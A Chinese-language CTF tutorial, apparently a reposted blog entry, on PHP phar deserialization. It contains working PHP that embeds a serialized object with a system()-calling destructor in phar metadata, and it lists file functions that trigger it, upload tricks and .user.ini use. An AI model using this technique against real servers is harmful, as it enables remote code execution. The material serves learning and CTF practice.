一:什么是phar

phar是PHP提供的一类文件的后缀名称,也是PHP伪协议的一种

1.一种协议后缀

2.一种协议名称

二:phar作用

1.将多个php文件合并成为一个独立的压缩包,相对独立

2.不用解压到硬盘即可运行PHP脚本

3.支持web服务器和命令运行

三:基于phar反序列化

<?php
include 'phar://com.ctf.flie.phar/file.php';
//可以用phar代替file伪协议协议进行包含

(1)这个有什么用呢,这么进行反序列化呢?
需要把本地phar只读关闭,是为了在本地生成phar文件,不需要服务器那边关闭,
服务器只要可以读取就行
需要在PHPstudy,配置文件里面把这个位置改成的on改成off,并删掉前面的分号

 phar文件结构

//标志位stub:phar
//manifest:phar(压缩文件)
//content(压缩内容)
//signature(签名,为了保障内容不被篡改)

 

 在PHP说明里面可以看到,通过mata-data储存的数据会被序列化保存,也就暗示了这里会在读取的时候进行反序列化操作(不需要链接魔术方法,是一种隐形的反序列化,会自动调用反序列化方法,但是没有反序列化链子就不行了)

(2)如何写phar文件

1.写法

<?php


class ctf{
    public $name;
    public function __destruct(){
        system($this->name);
    }

}

$c = new ctf();
$c->name = "calc";

$phar =new phar("testphar.phar");//生成一个新的phar类,但要注意这里的文问名必须要以phar为后缀
$phar->startBuffering();//开启缓存区
//**然后需要放入phar的四个部分这样才是完整的phar包
//如下
//标志位stub:phar
//manifest:phar(压缩文件)
//content(压缩内容)
//signature(签名,为了保障内容不被篡改)
$phar->setstub("<?php __HALT_COMPILER();?>");//这个函数是中断编译器执行的
//作用是如果包含phar文件,但不继续执行PHP代码,也是为了安全问题考虑
$phar->setMetadata($c);//通过metadata的数据会被序列化保存
$phar->addFromString("testphar.txt","test");
//这里方法就是从字符串里增加的意思,前面还是名字后面是内容
$phar->stopbuffering();//停止缓冲区
//停止后会自动附加上签名,这样结构就完整了

  

2.执行后生成我们的phar文件

内容是一个__halt_compiler函数和我们的序列化后的恶意代码

前者是为了防止后面出现PHP代码被执行而造成的安全问题

后者是我们的序列化代码,在反序列化后可以绕过它的中断函数

 

 

3.使用方法

<?php
class ctf{
    public $name;
   public function __destruct(){
        system($this->name);
    }

}
//1.有包含的情况
//   include "phar://testphar.phar";
//在包含这个phar文件的时候会自动调用反序列化,即使没有触发反序列化方法,
//但是如果本来就没有反序列化方法,那也是无法调用反序列化的

//2.无包含的情况
//(1)
// file_exists("phar://testphar.phar");
//file_exists函数也支持phar协议,可以执行phar文件
//file_exists — 检查文件或目录是否存在,
//如果由 filename 指定的文件或目录存在则返回 TRUE,否则返回 FALSE
//(2)
//file_get_contents("phar://testphar.phar");
//在file_get_contents函数读取phar文件时phar文件也会自动调用反序列化方法
//file_get_contents() 函数是用来将文件的内容读入到一个字符串中的首选方法。
//如果操作系统支持还会使用内存映射技术来增强性能。
//(3)
//highlight_file("phar://testphar.phar");
//在highlight_file寻找了这个phar文件后,phar文件也会自动调用反序列化方法
//highlight_file — 语法高亮一个文件
//使用PHP内置的语法高亮器所定义的颜色,打印输出或者返回 filename 文件中语法高亮版本的代码。


//重点:只要参数是fileName的都可以触发phar文件
//补充
//配合文件上传使用,在.user.ini里面包含phar协议(phar://filename.phar)同样可以执行反序列化

//利用条件
//1.可以上传phar包
//2.有反序列化利用链
//

//在做文件上传的时候先考虑上传PHP文件,可以先尝试双写绕过等绕过姿势,如果不行就考虑上传phar文件

  

 

 

 

 

 

 

 

原文地址:http://www.cnblogs.com/xxpanda/p/16852262.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性